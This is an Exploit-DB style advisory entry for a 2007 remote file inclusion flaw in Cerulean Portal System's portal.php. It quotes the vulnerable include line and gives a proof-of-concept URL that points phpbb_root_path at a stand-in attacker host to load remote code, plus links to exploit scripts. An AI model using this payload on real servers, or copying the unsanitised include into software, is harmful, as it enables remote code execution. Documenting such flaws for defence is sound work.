Cerulean Portal System (phpbb_root_path) Remote File Include Exploit

vendor:

Cerulean Portal System

by:

xoron

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Cerulean Portal System

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Cerulean Portal System (phpbb_root_path) Remote File Include Exploit

This exploit allows an attacker to include arbitrary files from a remote server by manipulating the 'phpbb_root_path' parameter in the 'portal.php' script. By including a malicious script, an attacker can execute arbitrary code on the target server.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and validate the included files to prevent any unauthorized access.

Source

Exploit-DB raw data:

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Cerulean Portal System (phpbb_root_path) Remote File Include Exploit

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Author: xoron

xoron.biz - xoron.info

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Code: 

include ($phpbb_root_path . 'portal/config.' . $phpEx);

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POC:

www.[target].com/[script_pat]/portal/portal.php?phpbb_root_path=http://evilscripts?

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Exploit: Exploit coded by xoron..!

HTML
www.xoron.info/bugs/ceruleanportalsystem-html.txt

PERL
www.xoron.info/bugs/ceruleanportalsystem-perl.txt

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download: http://sourceforge.net/projects/cerulean/

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Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

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